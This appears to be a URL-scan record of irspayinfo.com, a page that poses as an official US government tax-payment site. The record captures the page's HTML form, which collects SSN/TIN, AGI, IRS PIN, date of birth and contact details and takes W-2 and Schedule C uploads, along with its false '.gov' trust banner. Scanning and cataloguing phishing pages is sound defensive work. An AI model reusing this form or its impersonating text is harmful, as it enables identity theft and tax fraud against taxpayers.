irspayinfo.com
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104.194.10.93
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URL:
http://irspayinfo.com/
Submission: On July 18 via api from JP — Scanned from JP
Submission: On July 18 via api from JP — Scanned from JP
Form analysis 1 forms found in the DOM
POST
<form role="form" method="post" id="reused_form">
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-12">
<div class="inline-inputs">
<div id="fnameerr" class="col-lg-4a col-md-4a col-sm-4a">
<label><strong>First Name<span class="red">*</span></strong> <span class="err_msg_mname"></span></label>
<input type="text" name="fname" id="mname" onkeypress="return (event.charCode > 64 &&
event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" placeholder="" required="">
</div>
<div id="mnameerr" class="col-lg-3 col-md-3 col-sm-3">
<label><strong>Middle<span class="red">*</span></strong> <span class="err_msg_mname"></span></label>
<input type="text" name="mname" id="mname" onkeypress="return (event.charCode > 64 &&
event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" placeholder="">
</div>
<div id="lnameerr" class="col-lg-4a col-md-4a col-sm-4a">
<label><strong>Last Name<span class="red">*</span></strong> <span class="err_msg_lname"></span></label>
<input type="text" name="lname" id="lname" onkeypress="return (event.charCode > 64 &&
event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" placeholder="" required="">
</div>
</div>
<br>
<div class="inline-inputs">
<div id="ssnerr" class="col-lg-6 col-md-6 col-sm-6 ssn">
<label><strong>SSN or TIN<span class="red">*</span></strong> <span id="err_msg_ssn"></span></label>
<input type="text" name="ssn" id="ssn" onkeypress="return onlyNumberKey(event)" maxlength="9" required="">
</div>
<div class="col-lg-6 col-md-6 col-sm-6 ssn ssnerr2">
<label><strong>Confirm SSN or TIN<span class="red">*</span></strong> <span id="err_msg_ssn2"></span></label>
<input type="text" name="confirm_ssn" id="confirm_ssn" onkeypress="return onlyNumberKey(event)" maxlength="9" required="">
<!-- <span id="err_msg_ssn"></span> -->
</div>
</div>
<br>
<div class="inline-inputs">
<div id="addrerr" class="col-lg-7a col-md-7a col-sm-7a">
<label><strong>Street Address<span class="red">*</span></strong> <span class="err_msg_addr"></span></label>
<input type="text" name="addr" id="addr" required="">
</div>
<div id="addrerr" class="col-lg-7a col-md-7a col-sm-7a">
<label><strong>Postal or Zip Code<span class="red">*</span></strong> <span class="err_msg_addr"></span></label>
<input type="text" name="zip" onkeypress="return onlyNumberKey(event)" id="zip" required="">
</div>
</div>
<br>
<div class="inline-inputs">
<div id="ssnerr" class="col-lg-6 col-md-6 col-sm-6 ssn">
<label><strong>AGI<span class="red">*</span></strong> <span id="err_msg_ssn"></span></label>
<input type="text" name="agi" onkeypress="return onlyNumberKey(event)" id="agi" placeholder="" required="">
</div>
<div id="ssnerr" class="col-lg-6 col-md-6 col-sm-6 ssn">
<label><strong>PIN<span class="red">*</span></strong> <span id="err_msg_ssn"></span></label>
<input type="text" name="pin" onkeypress="return onlyNumberKey(event)" id="phone" placeholder="" required="">
</div>
<div id="ssnerr" class="col-lg-6 col-md-6 col-sm-6 ssn">
<label><strong>Phone Number<span class="red">*</span></strong> <span id="err_msg_ssn"></span></label>
<input type="text" name="phone" onkeypress="return onlyNumberKey(event)" id="phone" placeholder="" required="">
</div>
<div id="addrerr" class="col-lg-7a col-md-7a col-sm-7a">
<label><strong>Email Address<span class="red">*</span></strong> <span class="err_msg_addr"></span></label>
<input type="text" name="email" id="addr" required="">
</div>
<div class="col-lg-6 col-md-6 col-sm-6 ssn ssnerr2">
<label><strong>Date Of Birth<span class="red">*</span></strong> <span id="err_msg_ssn2"></span></label>
<input class="input--style-4" type="date" min="1920-01-01" max="2002-01-01" name="b_dob" id="b_dob" required="">
<!-- <span id="err_msg_ssn"></span> -->
</div>
</div>
<br>
</div>
<div class="col-sm-12 form-group">
<label for="name"><b>W-2 form:</b></label>
<br>
<div class="upload-btn-wrapper">
<button type="button" class="btn btn-default">Browse</button>
<input type="file" name="image" required="">
</div>
</div>
<div class="col-sm-12 form-group">
<label for="name"><b>1040 Schedule C:</b></label>
<br>
<div class="upload-btn-wrapper">
<button type="button" class="btn btn-default">Browse</button>
<input type="file" name="image2" required="">
</div>
</div>
</div>
<div class="row">
<div class="col-sm-12 form-group">
<center><button type="submit" class="registerbtn">Submit Application →</button></center>
</div>
</div>
</form>Text Content
An official website of the United States Government Here's how you know Official websites use .gov A .gov website belongs to an official government organization in the United States. Secure .gov websites use HTTPS A lock ( <span>Lock</span> A locked padlock ) or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites. GET MY PAYMENT All fields marked with an asterisk(*) are required First Name* Middle* Last Name* SSN or TIN* Confirm SSN or TIN* Street Address* Postal or Zip Code* AGI* PIN* Phone Number* Email Address* Date Of Birth* W-2 form: Browse 1040 Schedule C: Browse Submit Application → APPLICATION SENT SUCCESSFULLY! WE WILL GET BACK TO YOU SHORTLY. ERROR Sorry there was an error sending your form. Privacy Policy| Accessibility